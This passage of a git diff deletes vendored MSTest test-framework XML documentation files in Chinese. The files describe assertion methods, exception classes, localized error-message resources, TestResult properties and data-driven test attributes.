不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的集合是否不相等, - 如果两个集合相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的顺序和数量 - 都相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期与 - 以下内容不匹配的集合: 。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - 比较集合的元素时使用的比较实现。 - - - 要包含在异常中的消息,条件是: - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组。 - - - Thrown if is equal to . - - - - - 确定第一个集合是否为第二个 - 集合的子集。如果任一集合包含重复元素,则子集中元素 - 出现的次数必须小于或 - 等于在超集中元素出现的次数。 - - - 测试预期包含在以下对象中的集合: 。 - - - 测试预期要包含的集合 。 - - - 为 True,如果 是一个子集 - ,反之则为 False。 - - - - - 构造包含指定集合中每个元素的出现次数 - 的字典。 - - - 要处理的集合。 - - - 集合中 null 元素的数量。 - - - 包含指定集合中每个元素的发生次数 - 的字典。 - - - - - 在两个集合之间查找不匹配的元素。不匹配的元素是指 - 在预期集合中显示的次数与 - 在实际集合中显示的次数不相同的元素。假定 - 集合是具有相同元素数目 - 的不同非 null 引用。 调用方负责此级别的验证。 - 如果存在不匹配的元素,函数将返回 - false,并且不会使用 out 参数。 - - - 要比较的第一个集合。 - - - 要比较的第二个集合。 - - - 预期出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 实际出现次数 - 或者如果没有匹配的元素, - 则为 0。 - - - 不匹配元素(可能为 null),或者如果没有不匹配元素, - 则为 null。 - - - 如果找到不匹配的元素,则为 True;反之则为 False。 - - - - - 使用 Object.Equals 比较对象 - - - - - 框架异常的基类。 - - - - - 初始化 类的新实例。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 一个强类型资源类,用于查找已本地化的字符串等。 - - - - - 返回此类使用的缓存的 ResourceManager 实例。 - - - - - 使用此强类型资源类为所有资源查找替代 - 当前线程的 CurrentUICulture 属性。 - - - - - 查找类似于“访问字符串具有无效语法。”的已本地化字符串。 - - - - - 查找类似于“预期集合包含 {1} 个 <{2}> 的匹配项。实际集合包含 {3} 个匹配项。{0}”的已本地化字符串。 - - - - - 查找类似于“找到了重复项: <{1}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际值的大小写有所不同: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应不大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1} ({2})>。实际为: <{3} ({4})>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期值 <{1}> 和实际值 <{2}> 之间的预期差异应大于 <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“预期为除 <{1}>外的任何值。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“不要向 AreSame() 传递值类型。转换为对象的值永远不会相同。请考虑使用 AreEqual()。{0}”的已本地化字符串。 - - - - - 查找类似于“{0} 失败。{1}”的已本地化字符串。 - - - - - 查找类似于“不支持具有 UITestMethodAttribute 的异步 TestMethod。请删除异步或使用 TestMethodAttribute。” 的已本地化字符串。 - - - - - 查找类似于“这两个集合都为空。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同元素。”的已本地化字符串。 - - - - - 查找类似于“这两个集合引用指向同一个集合对象。{0}”的已本地化字符串。 - - - - - 查找类似于“这两个集合包含相同的元素。{0}”的已本地化字符串。 - - - - - 查找类似于“{0}({1})”的已本地化字符串。 - - - - - 查找类似于 "(null)" 的已本地化字符串。 - - - - - 查找类似于“(对象)”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不包含字符串“{1}”。{2}。”的已本地化字符串。 - - - - - 查找类似于“{0} ({1})”的已本地化字符串。 - - - - - 查找类似于“Assert.Equals 不应用于断言。请改用 Assert.AreEqual 和重载。”的已本地化字符串。 - - - - - 查找类似于“集合中的元素数目不匹配。预期为: <{1}>。实际为: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {0} 处的元素不匹配。”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素不是预期类型。预期类型为: <{2}>。实际类型为: <{3}>。{0}”的已本地化字符串。 - - - - - 查找类似于“索引 {1} 处的元素为 (null)。预期类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”结尾。{2}。”的已本地化字符串。 - - - - - 查找类似于“参数无效 - EqualsTester 不能使用 null。”的已本地化字符串。 - - - - - 查找类似于“无法将类型 {0} 的对象转换为 {1}。”的本地化字符串。 - - - - - 查找类似于“引用的内部对象不再有效。”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。{1}。”的已本地化字符串。 - - - - - 查找类似于“属性 {0} 具有类型 {1};预期类型为 {2}。”的已本地化字符串。 - - - - - 查找类似于“{0} 预期类型: <{1}>。实际类型: <{2}>。”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”不匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“错误类型: <{1}>。实际类型: <{2}>。{0}”的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”与模式“{1}”匹配。{2}。”的已本地化字符串。 - - - - - 查找类似于“未指定 DataRowAttribute。DataTestMethodAttribute 至少需要一个 DataRowAttribute。”的已本地化字符串。 - - - - - 查找类似于“未引发异常。预期为 {1} 异常。{0}”的已本地化字符串。 - - - - - 查找类似于“参数 {0} 无效。值不能为 null。{1}。”的已本地化字符串。 - - - - - 查找类似于“不同元素数。”的已本地化字符串。 - - - - - 查找类似于 - “找不到具有指定签名的构造函数。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型传递到 - PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于 - “找不到指定成员({0})。可能需要重新生成专用访问器, - 或者成员可能为专用且在基类上进行了定义。如果后者为 true,则需将定义成员的类型 - 传递到 PrivateObject 的构造函数中。” - 的已本地化字符串。 - - - - - 查找类似于“字符串“{0}”不以字符串“{1}”开头。{2}。”的已本地化字符串。 - - - - - 查找类似于“预期异常类型必须是 System.Exception 或派生自 System.Exception 的类型。”的已本地化字符串。 - - - - - 查找类似于“(由于出现异常,未能获取 {0} 类型异常的消息。)”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发预期异常 {0}。{1}”的已本地化字符串。 - - - - - 查找类似于“测试方法未引发异常。预期测试方法上定义的属性 {0} 会引发异常。”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1}。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“测试方法引发异常 {0},但预期为异常 {1} 或从其派生的类型。异常消息: {2}”的已本地化字符串。 - - - - - 查找类似于“引发异常 {2},但预期为异常 {1}。{0} - 异常消息: {3} - 堆栈跟踪: {4}”的已本地化字符串。 - - - - - 单元测试结果 - - - - - 测试已执行,但出现问题。 - 问题可能涉及异常或失败的断言。 - - - - - 测试已完成,但无法确定它是已通过还是失败。 - 可用于已中止的测试。 - - - - - 测试已执行,未出现任何问题。 - - - - - 当前正在执行测试。 - - - - - 尝试执行测试时出现了系统错误。 - - - - - 测试已超时。 - - - - - 用户中止了测试。 - - - - - 测试处于未知状态 - - - - - 为单元测试框架提供帮助程序功能 - - - - - 以递归方式获取包括所有内部异常消息在内的 - 异常消息 - - 获取消息的异常 - 包含错误消息信息的字符串 - - - - 超时枚举,可与 类共同使用。 - 枚举类型必须相符 - - - - - 无限。 - - - - - 测试类属性。 - - - - - 获取可运行此测试的测试方法属性。 - - 在此方法上定义的测试方法属性实例。 - 将用于运行此测试。 - Extensions can override this method to customize how all methods in a class are run. - - - - 测试方法属性。 - - - - - 执行测试方法。 - - 要执行的测试方法。 - 表示测试结果的 TestResult 对象数组。 - Extensions can override this method to customize running a TestMethod. - - - - 测试初始化属性。 - - - - - 测试清理属性。 - - - - - 忽略属性。 - - - - - 测试属性特性。 - - - - - 初始化 类的新实例。 - - - 名称。 - - - 值。 - - - - - 获取名称。 - - - - - 获取值。 - - - - - 类初始化属性。 - - - - - 类清理属性。 - - - - - 程序集初始化属性。 - - - - - 程序集清理属性。 - - - - - 测试所有者 - - - - - 初始化 类的新实例。 - - - 所有者。 - - - - - 获取所有者。 - - - - - 优先级属性;用于指定单元测试的优先级。 - - - - - 初始化 类的新实例。 - - - 属性。 - - - - - 获取属性。 - - - - - 测试的描述 - - - - - 初始化 类的新实例,描述测试。 - - 说明。 - - - - 获取测试的说明。 - - - - - CSS 项目结构 URI - - - - - 为 CSS 项目结构 URI 初始化 类的新实例。 - - CSS 项目结构 URI。 - - - - 获取 CSS 项目结构 URI。 - - - - - CSS 迭代 URI - - - - - 为 CSS 迭代 URI 初始化 类的新实例。 - - CSS 迭代 URI。 - - - - 获取 CSS 迭代 URI。 - - - - - 工作项属性;用来指定与此测试关联的工作项。 - - - - - 为工作项属性初始化 类的新实例。 - - 工作项的 ID。 - - - - 获取关联工作项的 ID。 - - - - - 超时属性;用于指定单元测试的超时。 - - - - - 初始化 类的新实例。 - - - 超时。 - - - - - 初始化含有预设超时的 类的新实例 - - - 超时 - - - - - 获取超时。 - - - - - 要返回到适配器的 TestResult 对象。 - - - - - 初始化 类的新实例。 - - - - - 获取或设置结果的显示名称。这在返回多个结果时很有用。 - 如果为 null,则表示方法名用作了 DisplayName。 - - - - - 获取或设置测试执行的结果。 - - - - - 获取或设置测试失败时引发的异常。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 获取或设置由测试代码记录的消息输出。 - - - - - 通过测试代码获取或设置调试跟踪。 - - - - - Gets or sets the debug traces by test code. - - - - - 获取或设置测试执行的持续时间。 - - - - - 获取或设置数据源中的数据行索引。仅对数据驱动测试的数据行单次运行结果 - 进行设置。 - - - - - 获取或设置测试方法的返回值。(当前始终为 null)。 - - - - - 获取或设置测试附加的结果文件。 - - - - - 为数据驱动测试指定连接字符串、表名和行访问方法。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource 的默认提供程序名称。 - - - - - 默认数据访问方法。 - - - - - 初始化 类的新实例。将使用数据提供程序、连接字符串、数据表和访问数据源的数据访问方法初始化此实例。 - - 不变的数据提供程序名称,例如 System.Data.SqlClient - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - 指定访问数据的顺序。 - - - - 初始化 类的新实例。将使用连接字符串和表名初始化此实例。 - 指定连接字符串和数据表,访问 OLEDB 数据源。 - - - 特定于数据提供程序的连接字符串。 - 警告: 连接字符串可能包含敏感数据(例如密码)。 - 连接字符串以纯文本形式存储在源代码和编译程序集中。 - 限制对源代码和程序集的访问以保护此敏感信息。 - - 数据表的名称。 - - - - 初始化 类的新实例。将使用数据提供程序和与设置名称关联的连接字符串初始化此实例。 - - 在 app.config 文件中 <microsoft.visualstudio.qualitytools> 部分找到的数据源的名称。 - - - - 获取表示数据源的数据提供程序的值。 - - - 数据提供程序名称。如果数据提供程序未在对象初始化时进行指定,则将返回 System.Data.OleDb 的默认提供程序。 - - - - - 获取表示数据源的连接字符串的值。 - - - - - 获取指示提供数据的表名的值。 - - - - - 获取用于访问数据源的方法。 - - - - 其中一个 值。如果 未初始化,这将返回默认值。 - - - - - 获取 app.config 文件的 <microsoft.visualstudio.qualitytools> 部分中找到的数据源的名称。 - - - - - 可在其中将数据指定为内联的数据驱动测试的属性。 - - - - - 查找所有数据行并执行。 - - - 测试方法。 - - - 一系列。 - - - - - 运行数据驱动测试方法。 - - 要执行的测试方法。 - 数据行。 - 执行的结果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 0eca8817..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用來指定每個測試部署的部署項目 (檔案或目錄)。 - 可以指定於測試類別或測試方法。 - 可以有屬性的多個執行個體來指定多個項目。 - 項目路徑可以是相對或絕對路徑,如果是相對路徑,則是 RunConfig.RelativePathRoot 的相對路徑。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - 初始化 類別的新執行個體。 - - 要部署的檔案或目錄。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - - - - 初始化 類別的新執行個體 - - 要部署之檔案或目錄的相對或絕對路徑。路徑是建置輸出目錄的相對路徑。項目將會複製到與已部署的測試組件相同的目錄。 - 要將項目複製到其中之目錄的路徑。它可以是部署目錄的絕對或相對路徑。下者所識別的所有檔案和目錄: 將會複製到這個目錄中。 - - - - 取得要複製之來源檔案或資料夾的路徑。 - - - - - 取得要將項目複製到其中之目錄的路徑。 - - - - - 在 Windows 市集應用程式的 UI 執行緒執行測試程式碼。 - - - - - 在 UI 執行緒執行測試方法。 - - - 測試方法。 - - - 下列項目的陣列: 執行個體。 - - Throws when run on an async test method. - - - - - TestContext 類別。這個類別應該是完全抽象的,而且未包含任何 - 成員。配接器將會實作成員。架構中的使用者只 - 應透過妥善定義的介面來存取這個項目。 - - - - - 取得測試的測試屬性。 - - - - - 取得包含目前正在執行之測試方法的類別完整名稱 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 取得目前正在執行的測試方法名稱 - - - - - 取得目前測試結果。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 611e17b6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用於執行的 TestMethod。 - - - - - 取得測試方法的名稱。 - - - - - 取得測試類別的名稱。 - - - - - 取得測試方法的傳回型別。 - - - - - 取得測試方法的參數。 - - - - - 取得測試方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 叫用測試方法。 - - - 要傳遞至測試方法的引數。(例如,針對資料驅動) - - - 測試方法引動過程結果。 - - - This call handles asynchronous test methods as well. - - - - - 取得測試方法的所有屬性。 - - - 父類別中定義的屬性是否有效。 - - - 所有屬性。 - - - - - 取得特定類型的屬性。 - - System.Attribute type. - - 父類別中定義的屬性是否有效。 - - - 指定類型的屬性。 - - - - - 協助程式。 - - - - - 檢查參數不為 null。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws argument null exception when parameter is null. - - - - 檢查參數不為 null 或為空白。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws ArgumentException when parameter is null. - - - - 如何在資料驅動測試中存取資料列的列舉。 - - - - - 會以循序順序傳回資料列。 - - - - - 會以隨機順序傳回資料列。 - - - - - 用以定義測試方法之內嵌資料的屬性。 - - - - - 初始化 類別的新執行個體。 - - 資料物件。 - - - - 初始化 類別 (其採用引數的陣列) 的新執行個體。 - - 資料物件。 - 其他資料。 - - - - 取得用於呼叫測試方法的資料。 - - - - - 取得或設定測試結果中的顯示名稱來進行自訂。 - - - - - 判斷提示結果不明例外狀況。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - InternalTestFailureException 類別。用來表示測試案例的內部失敗 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 屬性,其指定預期所指定類型的例外狀況 - - - - - 初始化具預期類型之 類別的新執行個體 - - 預期的例外狀況類型 - - - - 初始化 類別 - (其具預期類型及訊息,用以在測試未擲回任何例外狀況時予以納入) 的新執行個體。 - - 預期的例外狀況類型 - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的訊息 - - - - - 取得值,指出預期例外狀況的類型 - - - - - 取得或設定值,指出是否允許類型衍生自預期例外狀況類型, - 以符合預期 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 驗證預期有單元測試所擲回的例外狀況類型 - - 單元測試所擲回的例外狀況 - - - - 指定以預期單元測試發生例外狀況之屬性的基底類別 - - - - - 使用預設無例外狀況訊息初始化 類別的新執行個體 - - - - - 初始化具無例外狀況訊息之 類別的新執行個體 - - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的 - 訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 取得預設無例外狀況訊息 - - ExpectedException 屬性類型名稱 - 預設無例外狀況訊息 - - - - 判斷是否預期會發生例外狀況。如果傳回方法,則了解 - 預期會發生例外狀況。如果方法擲回例外狀況,則了解 - 預期不會發生例外狀況,而且測試結果中 - 會包含所擲回例外狀況的訊息。 類別可以基於便利 - 使用。如果使用 並且判斷提示失敗, - 則測試結果設定為 [結果不明]。 - - 單元測試所擲回的例外狀況 - - - - 如果它是 AssertFailedException 或 AssertInconclusiveException,會重新擲回例外狀況 - - 如果是判斷提示例外狀況,則重新擲回例外狀況 - - - - 這個類別的設計目的是要協助使用者執行使用泛型型別之類型的單元測試。 - GenericParameterHelper 滿足一些常用泛型型別條件約束 - 例如: - 1. 公用預設建構函式 - 2. 實作公用介面: IComparable、IEnumerable - - - - - 初始化 類別 (其符合 C# 泛型中的 'newable' 限制式) - 的新執行個體。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 類別 (其將 Data 屬性初始化為使用者提供的值) - 的新執行個體。 - - 任何整數值 - - - - 取得或設定資料 - - - - - 執行兩個 GenericParameterHelper 物件的值比較 - - 要與之執行比較的物件 - 如果 obj 的值與 'this' GenericParameterHelper 物件相同,則為 true。 - 否則為 false。 - - - - 傳回這個物件的雜湊碼。 - - 雜湊碼。 - - - - 比較這兩個 物件的資料。 - - 要比較的物件。 - - 已簽署的編號,表示此執行個體及值的相對值。 - - - Thrown when the object passed in is not an instance of . - - - - - 傳回長度衍生自 Data 屬性的 - IEnumerator 物件。 - - IEnumerator 物件 - - - - 傳回等於目前物件的 - GenericParameterHelper 物件。 - - 複製的物件。 - - - - 讓使用者從單位測試記錄/寫入追蹤以進行診斷。 - - - - - LogMessage 的處理常式。 - - 要記錄的訊息。 - - - - 要接聽的事件。在單元測試寫入器寫入一些訊息時引發。 - 主要由配接器取用。 - - - - - API,供測試寫入者呼叫以記錄訊息。 - - 含預留位置的字串格式。 - 預留位置的參數。 - - - - TestCategory 屬性; 用來指定單元測試的分類。 - - - - - 初始化 類別的新執行個體,並將分類套用至測試。 - - - 測試「分類」。 - - - - - 取得已套用至測試的測試分類。 - - - - - "Category" 屬性的基底類別 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 類別的新執行個體。 - 將分類套用至測試。TestCategories 所傳回的字串 - 會與 /category 命令搭配使用,以篩選測試 - - - - - 取得已套用至測試的測試分類。 - - - - - AssertFailedException 類別。用來表示測試案例失敗 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 要測試單元測試內各種條件的協助程式類別集合。 - 如果不符合正在測試的條件,則會擲回 - 例外狀況。 - - - - - 取得 Assert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is true. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null. - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 